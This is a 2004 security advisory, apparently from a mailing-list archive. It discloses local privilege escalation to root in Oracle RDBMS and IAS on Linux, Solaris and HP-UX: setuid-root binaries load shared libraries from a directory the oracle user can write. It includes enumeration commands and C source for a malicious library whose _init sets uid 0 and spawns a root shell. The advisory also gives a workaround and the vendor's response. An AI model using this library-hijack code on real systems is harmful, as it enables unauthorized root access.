<<< Date Index >>>     <<< Thread Index >>>

OPEN3S - Local Privilege Elevation through Oracle products (Unix Platform)



*----------========== OPEN3S-2004-10-05-eng-oracle-so-libraries 
==========----------
*

* Title:* Local Vulnerability in Oracle Products. RDBMS, IAs, etc *All Versions*. (10g not tested)
* Date:*     10-05-2004
* Platform:* Tested in Linux, Solaris & HP-UX but can be exported to others. * Impact:* Privilege elevation from oracle products installation owner (usually called oracle or ias ) to root.
* Author:*   Juan Manuel Pascual Escriba <mailto:jmpascual@xxxxxxxxxx>
* Status:* Vendor contacted details below.


*INTRODUCTION:*

Oracle Corporation (nasdaqNM - ORCL) is a world leading database software developer, claiming to develop an unbreakable software. It's products are targeted in database,
application server and data mining market.


*PROBLEM SUMMARY:*

This software version
        - Oracle 8i Linux Platform
        - Oracle 9i Linux Platform
        - Oracle 8i HP-UX Platform
        - Oracle 9i Solaris Platform
        - Oracle IAS 9.0.2.0.1 with patchset v9.0.2.3
        - All versions tested in Unix platform (Universal?¿)

are suitable to privilege elevation from oracle software owner ( normally 
oracle,ias,
iasr2) to root.


*DESCRIPTION*

Oracle Libraries are installed owned by oracle in a default installation of the products commented above.

[pask@dimoniet home]$ ls -alc /export/home/iasr2/ora9ias_mid
...
drwxr-xr-x   3 iasr2    dba          512 Nov 21 14:04 lbs
drwxr-xr-x  15 iasr2    dba          512 Jan  7 12:13 ldap
drwxr-xr-x   3 iasr2    dba        12800 Nov 21 11:22 lib
drwxr-xr-x  13 iasr2    dba          512 Nov 21 14:04 network
drwxr-xr-x   3 iasr2    dba          512 Nov 21 14:04 ocommon
...

As you can see, the lib directory owner is iasr2, let's look for some setuid 
binaries

[pask@dimoniet ora9ias_mid]$ find ./ -perm +4000
./bin/dbsnmp
./bin/nmo

[iasr2@dimoniet ora9ias_mid]$ ls -alc ./bin/dbsnmp
-rwsr-s---   1 root     dba      2900980 Nov 21 14:04 ./bin/dbsnmp
[iasr2@dimoniet ora9ias_mid]$ ls -alc ./bin/nmo
-rwsr-s---   1 root     dba        12632 Nov 21 14:04 ./bin/nmo

And now, just could see the shared objects that the binaries depends.

[iasr2@dimoniet ora9ias_mid]$ ldd ./bin/dbsnmp
       libvppdc.so =>   /export/home/iasr2/ora9ias_mid/lib/libvppdc.so
       libclntsh.so.9.0 =>      
/export/home/iasr2/ora9ias_mid/lib/libclntsh.so.9.0
       libwtc9.so =>    /export/home/iasr2/ora9ias_mid/lib//libwtc9.so
       libthread.so.1 =>        /usr/lib/libthread.so.1
       libkstat.so.1 =>         /usr/lib/libkstat.so.1
        ....

[iasr2@dimoniet ora9ias_mid]$  ldd ./bin/nmo
       libnsl.so.1 =>   /usr/lib/libnsl.so.1
       libsocket.so.1 =>        /usr/lib/libsocket.so.1
       libgen.so.1 =>   /usr/lib/libgen.so.1
        .....

ups, it's not posible to achieve root privileges with this binary and by this 
way


For iasr2 user is too easy to create a so.lib, something like

#include #include
_init() {
  printf("en el _init()\n");
  printf("Con PID=%i y EUID=%i",getpid(),getuid());
  setuid(0);
  system("/usr/bin/ksh");
  printf("Saliendo del Init()\n");
}


        
*IMPACT*
        
oracle,ias,iasr2 or iasdb users with local access can gain root privileges through oracle installation


*EXPLOIT*

        commented above.


*WORKAROUND*

        chown to root lib directory and parent directory.


*STATUS*

        Oracle Security Alerts explains in an email sent 26/07/2004 that  
"Oracle believes that
        only trusted users should have access to the local iasdb user account".

        I have no information about a patch or a solution from Oracle Corp.




--------------------------------------------------
This vulnerability was researched by:
Juan Manuel Pascual Escriba            jmpascual@xxxxxxxxxx
Barcelona - Denia - Spain              http://www.open3s.com